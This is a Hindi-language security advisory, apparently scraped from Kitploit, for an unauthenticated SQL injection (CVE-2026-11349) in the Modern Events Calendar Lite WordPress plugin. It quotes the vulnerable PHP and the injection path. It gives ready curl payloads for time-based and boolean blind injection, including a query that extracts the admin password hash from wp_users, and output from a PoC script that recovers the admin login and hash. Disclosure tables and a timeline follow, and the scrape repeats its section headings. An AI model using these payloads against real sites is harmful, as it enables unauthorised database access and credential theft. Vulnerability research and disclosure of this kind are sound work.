CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — अनधिकृत SQL Injection | Kitploit

public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, कोई सैनिटाइज़ेशन नहीं
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... केवल तब पहुँचा जाता है जब $excludes गैर-रिक्त हो)
    }
    return $sanitized;
}

$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // केवल `#__` को तालिका उपसर्ग से बदलता है
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — कोई prepare() नहीं
    // ...
}

$_REQUEST['atts']                                       (हमलावर-नियंत्रित, अनधिकृत)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: डिफ़ॉल्ट खाली $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = कच्चे atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (कोई prepare नहीं)

$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- अनधिकृत

AJAX क्रिया (`nopriv`)	स्किन हैंडलर
`mec_list_load_more`	`app/skins/list.php:497`
`mec_grid_load_more`	`app/skins/grid.php:497`
`mec_masonry_load_more`	`app/skins/masonry.php:229`
`mec_agenda_load_more`	`app/skins/agenda.php:242`
`mec_timeline_load_more`	`app/skins/timeline.php:242`
`mec_tile_load_more`	`app/skins/tile.php:446`
`mec_custom_load_more`	`app/skins/custom.php:233`

TARGET='https://victim.example'          # सादे पर्मलिंक: सीधे admin-ajax.php का उपयोग करें

# 1) बेसलाइन (कोई इंजेक्शन नहीं)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) समय-आधारित प्रमाण — संतुलित शीर्ष-स्तरीय OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) निष्पादित हुआ

# 3) बूलियन ओरेकल (सत्य बनाम असत्य)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) वास्तविक डेटा निष्कर्षण (अंध), उदा. एडमिन पासवर्ड-हैश का पहला बाइट == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: एडमिन हैश '$' (phpass) से शुरू होता है

SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

फ़ाइल	पंक्ति (7.33.0 / 6.5.6)	समस्या
`app/libraries/main.php`	11726-11734 / 9607-9619	`sanitize_deep_array()` एक नो-ऑप है जब `$excludes` डिफ़ॉल्ट खाली सरणी है ( `!count($excludes)` गार्ड)
`app/skins/list.php`	535 / 501	`$_REQUEST` से `atts` पढ़ा गया और बिना `$excludes` के `sanitize_deep_array()` को पारित किया गया ( `load_more()` में, 532 / 497)
`app/skins/list.php`	53 / 52	`wp_ajax_nopriv_mec_list_load_more` → अनधिकृत प्रवेश बिंदु
`app/libraries/skins.php`	806 / 603-606	`include` / `exclude` सरणी को `implode()` करके कच्चा `post_id IN (...)` / `NOT IN (...)` में डाला गया (बहिष्करण 803 / 603 पर)
`app/libraries/db.php`	79-93 (87)	`MEC_db::select()` बिना `prepare()` के `$wpdb->get_results()` चलाता है

संदर्भ	प्रमाणीकरण	AJAX क्रिया	पैरामीटर	निश्चित संस्करण
CVE-2021-24946	अनधिकृत	`mec_load_single_page`	`time`	6.1.5
CVE-2021-4458	अनधिकृत (केवल अगर `addslashes`/इनपुट-स्लैशिंग अक्षम है)	`mec_load_single_page`	`id`	6.4.0
CVE-2021-24149	प्रमाणित (लेखक+/सब्सक्राइबर)	`mec_fes_form`	`mec[post_id]`	5.16.6
यह रिपोर्ट	अनधिकृत (कोई पूर्व शर्त नहीं)	`mec_list_load_more` (+ `mec_{grid,masonry,agenda,timeline,tile,custom}_load_more`)	`atts[include][]` / `atts[exclude][]`	अपैच (≤ 7.33.0)

यह एक वर्तमान, विक्रेता-वितरित, समर्थित उत्पाद है, परित्यक्त कोड नहीं — Webnus को एक समन्वित प्रकटीकरण प्राथमिक चैनल है; वे सक्रिय रूप से अपडेट भेजते हैं और पैच करना चाहिए।
MEC Pro (सक्रिय रूप से बेचा जा रहा है; वर्तमान 7.x) इस समान 7.x कोडबेस पर बनाया गया है। app/libraries/skins.php, app/libraries/main.php, और app/libraries/db.php साझा कोर लाइब्रेरी हैं, इसलिए Pro लगभग निश्चित रूप से प्रभावित है। इसे औपचारिक रूप से कहने से पहले Pro स्रोत के विरुद्ध पुष्टि की जानी चाहिए, लेकिन साझा-लाइब्रेरी आर्किटेक्चर इसे बहुत संभावित बनाता है। एक पुष्टि की गई Pro प्रभाव खोज को Patchstack (एक सार्वजनिक रूप से बेचा जाने वाला घटक) के लिए स्पष्ट रूप से दायरे में लाता है और wordpress.org सूची स्थिति की परवाह किए बिना MITRE/Patchstack CVE के योग्य बनाता है।
उन उपभोक्ताओं के लिए जो विशेष रूप से wordpress.org सूची पर गेट करते हैं (कुछ Wordfence इनाम मानदंड; Patchstack का "बंद घटक" बहिष्करण जैसा कि Lite फ्री बिल्ड पर लागू होता है), जमे हुए 6.5.6 के बजाय विक्रेता-वितरित 7.33.0 + Pro प्रभाव का उल्लेख करें।

तिथि	घटना
2026-06-03	स्वचालित प्लगइन समीक्षा के दौरान खोजा गया; MEC Lite 6.5.6 (wordpress.org-जमे हुए बिल्ड) पर एंड-टू-एंड (अनधिकृत) सत्यापित
2026-06-04	7.33.0 (mec.webnus.net से वर्तमान विक्रेता-वितरित Lite) पर एंड-टू-एंड पुन: सत्यापित; कोड/इंजेक्शन समान पुष्टि — खोज वर्तमान है, डीलिस्टेड-संस्करण कलाकृति नहीं
2026-06-04	विक्रेता सूचना (Webnus) + WPScan CVE अनुरोध; पुष्टि करें कि MEC Pro पथ साझा करता है
2026-06-05	कमजोरी सत्यापित और CVE निर्दिष्ट

प्लगइन	Modern Events Calendar Lite
स्लग	modern-events-calendar-lite
लेखक	Webnus
प्रभावित	<= 7.33.0 (वर्तमान विक्रेता-वितरित Lite रिलीज़)। बग संपूर्ण w.org श्रेणी में मौजूद है; प्रयोगशाला में 6.5.6 और 7.33.0 पर पुष्टि की गई, स्थैतिक रूप से 5.21.2 में पुष्टि की गई। 6.5.6 = अंतिम wordpress.org बिल्ड (2022-05-11 बंद होने पर जमे हुए); 7.33.0 = mec.webnus.net से वितरित वर्तमान बिल्ड
सक्रिय इंस्टॉल	wordpress.org की गणना बंद होने के बाद से छिपी हुई; ऐतिहासिक रूप से 100,000+। अभी भी सक्रिय रूप से वितरित/अद्यतन किया गया (विक्रेता द्वारा Lite mec.webnus.net के माध्यम से; वही 7.x कोडबेस सक्रिय रूप से बेचे जाने वाले MEC Pro का आधार है)
CWE	CWE-89 (SQL इंजेक्शन)
असुरक्षा	अनधिकृत अंध SQL इंजेक्शन (समय-आधारित / बूलियन / त्रुटि-आधारित)
आवश्यक विशेषाधिकार	कोई नहीं (`wp_ajax_nopriv_*` — प्रमाणीकरण-पूर्व)
उपयोगकर्ता सहभागिता	कोई नहीं
CVSS v3.1	7.5 (उच्च) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
स्थिति	7.33.0 (वर्तमान) और 6.5.6 (WordPress 6.6.5, MariaDB 10.x) पर प्रयोगशाला-सत्यापित एंड-टू-एंड
CVE / GHSA	CVE-2026-11349

CVE-2026-11349

सबसे लोकप्रिय

विवरण

मूल कारण

1. एक "सैनिटाइज़र" जो डिफ़ॉल्ट पथ पर कुछ भी सैनिटाइज़ नहीं करता

2. कॉलर कोई `$excludes` प्रदान नहीं करता

3. `IN (...)` खंड में कच्चा संयोजन

4. बिना तैयार कथन के निष्पादन

पहुँच योग्यता

प्रूफ ऑफ कॉन्सेप्ट (प्रयोगशाला-सत्यापित, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

स्वचालित PoC

प्रभाव

प्रभावित फ़ाइलें

पिछले Modern Events Calendar SQL इंजेक्शन CVE से अंतर

प्रकटीकरण / दायरा नोट

समयरेखा

CVE-2026-11349

सबसे लोकप्रिय

Modern Events Calendar Lite <= 7.33.0 — mec_list_load_more (atts[include] / atts[exclude]) के माध्यम से अनधिकृत SQL इंजेक्शन

सारांश

विवरण

मूल कारण

1. एक "सैनिटाइज़र" जो डिफ़ॉल्ट पथ पर कुछ भी सैनिटाइज़ नहीं करता

2. कॉलर कोई $excludes प्रदान नहीं करता

3. IN (...) खंड में कच्चा संयोजन

4. बिना तैयार कथन के निष्पादन

पहुँच योग्यता

प्रूफ ऑफ कॉन्सेप्ट (प्रयोगशाला-सत्यापित, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

स्वचालित PoC

प्रभाव

प्रभावित फ़ाइलें

पिछले Modern Events Calendar SQL इंजेक्शन CVE से अंतर

प्रकटीकरण / दायरा नोट

समयरेखा

Modern Events Calendar Lite <= 7.33.0 — `mec_list_load_more` (`atts[include]` / `atts[exclude]`) के माध्यम से अनधिकृत SQL इंजेक्शन

2. कॉलर कोई `$excludes` प्रदान नहीं करता

3. `IN (...)` खंड में कच्चा संयोजन